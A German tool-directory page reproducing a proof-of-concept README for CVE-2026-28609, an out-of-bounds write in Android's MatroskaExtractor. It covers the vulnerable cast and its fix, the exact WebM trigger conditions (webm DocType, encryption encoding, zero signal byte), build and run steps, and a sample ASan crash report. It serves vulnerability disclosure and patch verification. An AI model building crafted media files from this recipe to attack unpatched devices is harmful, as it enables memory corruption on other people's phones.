Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-28609-matroska-pcm-oob — Proof-of-Concept und instrumentierte Reproduktions-Harness für CVE-2026-28609, einen Out-of-Bounds-Schreibvorgang in Androids MatroskaExtractor, der über eine manipulierte WebM-Datei mit einer Big-Endian-PCM-Audiospur erreichbar ist. | Kitploit
Tools/GitHubGitHub/devrodt2/cve-2026-28609-matroska-pcm-oob
Android-SicherheitSpeicherforensikSchwachstellenanalyseExploitationReverse EngineeringFuzzingMobile SicherheitBinary-Exploitation

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHub
devrodt2/cve-2026-28609-matroska-pcm-oob

CVE-2026-28609-matroska-pcm-oob

Proof-of-Concept und instrumentierte Reproduktions-Harness für CVE-2026-28609, einen Out-of-Bounds-Schreibvorgang in Androids MatroskaExtractor, der über eine manipulierte WebM-Datei mit einer Big-Endian-PCM-Audiospur erreichbar ist.

Repository anzeigen
vor 3h 2mNoch nicht geprüft

CVE-2026-28609 — Matroska PCM Out-of-Bounds Write

Proof-of-Concept, instrumentierte Reproduktions-Harness und technischer Write-up für CVE-2026-28609, ein Out-of-Bounds-Write im MatroskaExtractor von Android, erreichbar über eine manipulierte WebM-Datei mit einer Big-Endian-PCM-Audiospur.

Auf einen Blick

  • CVE-ID: CVE-2026-28609
  • Hersteller: Google / Android
  • Komponente: frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cpp
  • Problem: Out-of-Bounds-Write durch unsachgemäßen Cast
  • CWE: CWE-787 / CWE-704
  • Betroffen: Android 14, 15, 16, 16 QPR2
  • Schweregrad: Hoch
  • Auswirkung: Potenzielle Remote-Code-Ausführung
  • AOSP-Issue: A-485377744
  • Patch: Behoben im Android-Sicherheitsupdate vom September 2026

1. Zusammenfassung

MatroskaSource::read() im MatroskaExtractor von Android enthält eine PCM-Big-Endian-Byte-Swap-Schleife, die einen Frame-Datenzeiger auf uint16_t * castet, bevor frame->range_offset() addiert wird, ein Byte-Offset. Da die C-Zeigerarithmetik auf einem uint16_t * den Offset mit sizeof(uint16_t) = 2 skaliert, liegt der resultierende Zeiger 2 * range_offset Bytes hinter dem Anfang des Puffers, nicht range_offset Bytes.

Wenn range_offset > 0, liest und schreibt die Schleife ein oder mehrere Bytes über das Ende des MediaBuffer des Frames hinaus. Auf einem Gerät ohne ASan gelingt der Über-Lesevorgang stillschweigend, und der Über-Schreibvorgang beschädigt das Byte unmittelbar nach dem Puffer.

Die verwundbare Zeile:

root@kitploit:~
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    dstData[i] = ntohs(srcData[i]);
}

Der Upstream-Fix castet den Zeiger auf uint8_t *, bevor der Offset angewendet wird:

root@kitploit:~
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
    data[i] = ntohs(data[i]);
}

2. Was dieses Repository demonstriert

Einen funktionierenden, reproduzierbaren Trigger für CVE-2026-28609, verifiziert unter AddressSanitizer auf einem echten Android-14-Gerät. Das Repository enthält:

  1. Einen Python-Generator, der eine WebM-Datei erzeugt, die den Extraktor in den verwundbaren Zweig mit einem von Null verschiedenen range_offset treibt.
  2. Einen C-ABI-Harness, der das Extraktor-Plugin über dlopen lädt, GETEXTRACTORDEF aufruft und Frames aus der Datei liest.
  3. Eine Reihe von Build-Skripten, die eine ASan-instrumentierte Kopie des verwundbaren AOSP-Extraktors kompilieren und gegen die Media-Framework-Bibliotheken des Geräts linken.
  4. Eine Build-Konfiguration mit automatischer Erkennung von Include-Verzeichnissen, sodass der Build sich an jeden AOSP-Checkout anpasst.

Das Ergebnis auf einem verwundbaren Gerät:

root@kitploit:~
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
    #0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region

3. Trigger-Mechanik

Der verwundbare Zweig erfordert, dass alle folgenden Bedingungen erfüllt sind:

BedingungQuelle

Die ersten drei werden erfüllt, indem der Track mit der Codec-ID A_PCM/INT/BIG und einer Bittiefe von 16 deklariert wird. Die vierte ist die interessante.

range_offset wird nur in MatroskaSource::setWebmBlockCryptoInfo() auf einen von Null verschiedenen Wert gesetzt, das aus readBlock() unter der Bedingung aufgerufen wird:

root@kitploit:~
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
    err = setWebmBlockCryptoInfo(mbuf);
}

Daher muss die Trigger-Datei Folgendes erfüllen:

  • mIsWebm — das EBML-Element DocType muss "webm" sein, nicht "matroska".
  • mEncrypted — der Track muss ContentEncodings mit ContentEncodingType = 1 (Encryption) und einer ContentEncKeyID deklarieren.
  • Nicht-verschlüsselte Frames — das erste Byte jedes Frames muss ein Signal-Byte sein, dessen niederwertiges Bit (0x1) 0 ist, was anzeigt, dass der Frame unverschlüsselt, aber content-encoded ist. Dies nimmt den else-Zweig in setWebmBlockCryptoInfo, der set_range(1, len - 1) aufruft.

Nach dem Strippen ist range_offset = 1 für jeden Frame. Der verwundbare Zweig berechnet dann (uint16_t *)data + 1, was um 2 Bytes voranschreitet, und die Schleife liest/schreibt Bytes [2, 2 + range_length) — ein Byte über das Ende der 65-Byte-Allokation hinaus (64-Byte-Frame + 1-Byte-Signal).

Byte-Layout eines auslösenden Frames

root@kitploit:~
+---------+------------------------------------+
| 0x00    | 64 bytes of frame data (0xAA...)   |
+---------+------------------------------------+
  signal               PCM payload

Das Signal-Byte 0x00 wird durch set_range(1, 64) entfernt, wodurch ein 64-Byte-Frame innerhalb einer 65-Byte-Allokation verbleibt. Die verwundbare Zeigerarithmetik schreibt dann bei Byte-Offset 2 bis 65.


4. Repository-Layout

root@kitploit:~
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│   └── generator.py             WebM generator + verifier
│
├── harness/
│   └── harness_c_abi.cpp        dlopen-based trigger harness
│
└── scripts/
    ├── build.conf               API level, sanitizer, RTTI flags
    ├── include_dirs.conf.sample Include roots template
    ├── build_foundation.sh      Build the foundation archive
    ├── build_plugin.sh          Build the extractor plugin
    ├── build_harness.sh         Build the harness
    └── run.sh                   End-to-end build + push + run

Upstream-Abhängigkeiten, die vom Benutzer vor dem Build geklont werden:

root@kitploit:~
av/                    frameworks/av (AOSP)
libwebm/               external/libwebm (mkvparser)
flac/                  external/flac
aosp-includes/         system/core, system/logging, system/libbase,
                       frameworks/native — header trees only
aosp-includes/libs/    libstagefright_foundation.so, libmedia.so,
                       libutils.so, libbinder.so, libcutils.so,
                       libbase.so, libmediandk.so, libstagefright_flacdec.so
                       — pulled from the target device

5. Voraussetzungen

  • Host: Linux oder WSL2 mit bash, python3, make
  • NDK: Android NDK r27+, gesetzt über $ANDROID_NDK_HOME
  • Gerät: Android 14, 15, 16 oder 16-QPR2 mit einem Sicherheits-Patch-Level vor September 2026
  • ADB: adb im PATH (Linux, oder adb.exe aus WSL)
  • Speicherplatz: ~1,5 GB für die AOSP-Clones

6. Build

6.1 Upstream-Abhängigkeiten klonen

root@kitploit:~
mkdir -p deps && cd deps

# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
    https://android.googlesource.com/platform/frameworks/av av

# libwebm (mkvparser)
git clone --depth 1 \
    https://android.googlesource.com/platform/external/libwebm libwebm

# libFLAC
git clone --depth 1 \
    https://android.googlesource.com/platform/external/flac flac

# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
    git clone --depth 1 \
        "https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..

Wenn Ihr AOSP-Baum das modulare Extraktor-Layout (av/media/module/extractors/mkv/) verwendet, ist keine weitere Anpassung erforderlich. Wenn er das ältere Layout (av/media/libstagefright/matroska/) verwendet, siehe die Build-Skripte für die Variable MKV.

6.2 Gerätebibliotheken abrufen

root@kitploit:~
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
           libmedia.so libutils.so libbinder.so libcutils.so \
           libbase.so libmediandk.so; do
    adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done

6.3 Konfigurieren

root@kitploit:~
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf   # if provided separately
$EDITOR scripts/build.conf

Setzen Sie ANDROID_API passend zu Ihrem Zielgerät (z. B. 34 für Android 14).

6.4 Bauen und ausführen

root@kitploit:~
./scripts/run.sh

Das Skript run.sh führt vier Schritte in dieser Reihenfolge aus:

  1. build_foundation.sh — kompiliert 28 Quelldateien aus av/media/module/foundation/ und av/media/module/metadatautils/ in plugin-asan/libstagefright_foundation_asan.a.
  2. build_plugin.sh — kompiliert MatroskaExtractor.cpp, mkvparser.cc, mkvreader.cc und linkt sie mit dem Archiv zu libmkvextractor_asan.so.
  3. build_harness.sh — kompiliert harness_c_abi mit -shared-libsan.
  4. Pusht das Plugin, den Harness, die ASan-Runtime und poc.mkv nach und führt den Harness aus.

Die Build-Skripte erkennen fehlende Include-Wurzeln automatisch. Wenn der Compiler fatal error: 'X' file not found meldet, durchsucht das Skript die Abhängigkeitsbäume, findet das übergeordnete Verzeichnis von X und hängt es an include_dirs.conf an. Deshalb wächst include_dirs.conf während des ersten Builds. Sobald alle Header entdeckt sind, stabilisiert sich die Datei und nachfolgende Builds sind deterministisch.


7. Erwartete Ausgabe

Auf einem verwundbaren Gerät erzeugt der Harness:

root@kitploit:~
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor  uuid[0..3]=abbedd92  version=1  api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
    #0 0x71ecb0ec48  (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
    #1 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #2 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #3 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)

0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
    #0 0x727c507668  (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
    #1 0x5861ac26c0  (/data/local/tmp/harness_c_abi+0x46c0)
    #2 0x71ecb15e7c  (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
    #3 0x71ecb0b50c  (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
    #4 0x71ecb0d96c  (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
    #5 0x71ecb180c8  (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
    #6 0x5861ac1ed0  (/data/local/tmp/harness_c_abi+0x3ed0)
    #7 0x7279cf15b8  (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
    #8 0x5861ac15f4  (/data/local/tmp/harness_c_abi+0x35f4)

SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
  0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
  0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
  0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
  0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
  0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
  0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
  0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
==14927==ABORTING
Aborted

Drei Zahlen bestätigen den Trigger:

  • WRITE of size 2 (oder READ, wenn ASan die Lesehälfte von data[i] = ntohs(data[i]) zuerst erwischt)
  • 65-byte region — die Frame-Allokation besteht aus 64 Datenbytes plus dem 1-Byte-Verschlüsselungssignal
  • 0 bytes after — der Zugriff landet auf dem ersten Byte nach der Allokation

8. Was dieses PoC nicht tut

  • Kein RCE. Der Trigger endet beim ASan-Bericht. Er demonstriert das Schreib-Primitiv, aber waffenisiert es nicht zu Code-Ausführung.
  • Kein Heap-Grooming. Der 1-Byte-Überlauf ist durch die Größe des Verschlüsselungssignals begrenzt. Größere Überläufe würden den partitionierten Verschlüsselungspfad in setWebmBlockCryptoInfo (Signal-Byte 0x03) erfordern, der von diesem Generator nicht ausgeübt wird.
  • Keine Persistenz. Auf dem Ziel wird kein Code ausgeführt außer dem Harness-Prozess selbst, der läuft und beendet wird.
  • Keine Systemmodifikation. Nichts außerhalb von /data/local/tmp wird berührt. Das Plugin wird nur vom Harness-Prozess geladen.

9. Verifikation

Der Generator enthält einen Verifizierer. Führen Sie ihn vor dem Pushen aus:

root@kitploit:~
python3 exploit/generator.py poc.mkv

Erwartet:

root@kitploit:~
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify]      cause readBlock to strip the 1-byte signal via
[verify]      set_range(1, len-1), setting range_offset=1
[verify]      on every PCM frame. The uint16_t* cast in the
[verify]      vulnerable branch then writes 2 bytes past the
[verify]      end of the 64-byte frame buffer.

Jedes erforderliche Feld wird geprüft: DocType, TrackType, CodecID, BitDepth, Channels, ContentEncodingType, ContentEncodingScope, ContentEncAlgo und ContentEncKeyID. Wenn ein Feld falsch ist, beendet sich der Generator mit FAIL und gibt die spezifische Abweichung aus.


10. Zeitleiste

DatumEreignis
2026-03-02CVE von Google reserviert
2026-09-08Öffentliche Offenlegung im Android Security Bulletin
2026-09-09Fix in LineageOS lineage-20.0 gemergt (Change 497992)

11. Referenzen

  • Android Security Bulletin — September 2026
  • AOSP: frameworks/av
  • AOSP: external/libwebm
  • LineageOS Gerrit change 497992
  • NVD entry for CVE-2026-28609
  • AddressSanitizer

12. Haftungsausschluss

Dieses Repository wird ausschließlich für defensive Sicherheitsforschung und Schwachstellenverifikation veröffentlicht. Es ist gedacht für:

  • Sicherheitsforscher, die die CVE gegen ihre eigenen Testgeräte validieren
  • Android-Plattform-Maintainer, die bestätigen, dass ein Patch angewendet wurde
  • Incident-Responder, die den Trigger auf quarantänisierter Hardware reproduzieren, um die Exposition zu bestimmen

Verwenden Sie diesen Code nicht auf Geräten, die Ihnen nicht gehören oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben. Das Ausführen des Harness auf einem Gerät, das nicht Ihnen gehört, oder die Verwendung des Generators zur Erstellung von Trigger-Dateien zur Verbreitung kann gegen Computer-Missbrauchsgesetze in Ihrer Jurisdiktion und gegen GitHubs Acceptable Use Policy verstoßen.

Der Autor billigt die Verwendung dieser Forschung für böswillige Zwecke nicht. Die vom Generator erzeugte Trigger-Datei ist darauf ausgelegt, eine bestimmte Funktion unter AddressSanitizer zum Absturz zu bringen; sie enthält keine ausführbare Nutzlast, modifiziert das System nicht und besteht nicht über den Harness-Prozess hinaus.

Es wird keine Gewährleistung übernommen. Der Code wird wie besehen bereitgestellt. Der Autor übernimmt keine Haftung für Schäden, die durch Missbrauch oder durch Ausführen des Harness auf Produktionshardware entstehen.

Wenn Sie ein Hersteller sind und der Ansicht sind, dass dieses Repository Material enthält, das im Rahmen einer koordinierten Offenlegung behandelt werden sollte, öffnen Sie ein Issue, und der Autor wird innerhalb von 72 Stunden antworten.


13. Lizenz

Dieses Projekt wird unter der Apache-2.0-Lizenz veröffentlicht. Siehe LICENSE für den vollständigen Text.

Copyright © 2026 — die CVE-2026-28609-PoC-Mitwirkenden.

scripts/include_dirs.conf.sample

Benennen Sie dies nach dem Klonen in include_dirs.conf um. Dies ist der Ausgangspunkt. Die Build-Skripte erweitern sie während des ersten Laufs.

root@kitploit:~
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.

$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include

scripts/build.conf.sample

Nach dem Klonen in build.conf umbenennen.

root@kitploit:~
# build.conf — build configuration for CVE-2026-28609 PoC

# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34

# Enable AddressSanitizer.
ENABLE_ASAN=1

# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"

# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
Tool herunterladen
Track ist PCM
mType == PCM
Big-EndianAMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1
16-Bit-SamplesAMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16
Frame hat von Null verschiedenen range_offsetGesetzt durch set_range(offset, ...)
/data/local/tmp
2026-09Dieses PoC entwickelt und gegen ein echtes Gerät verifiziert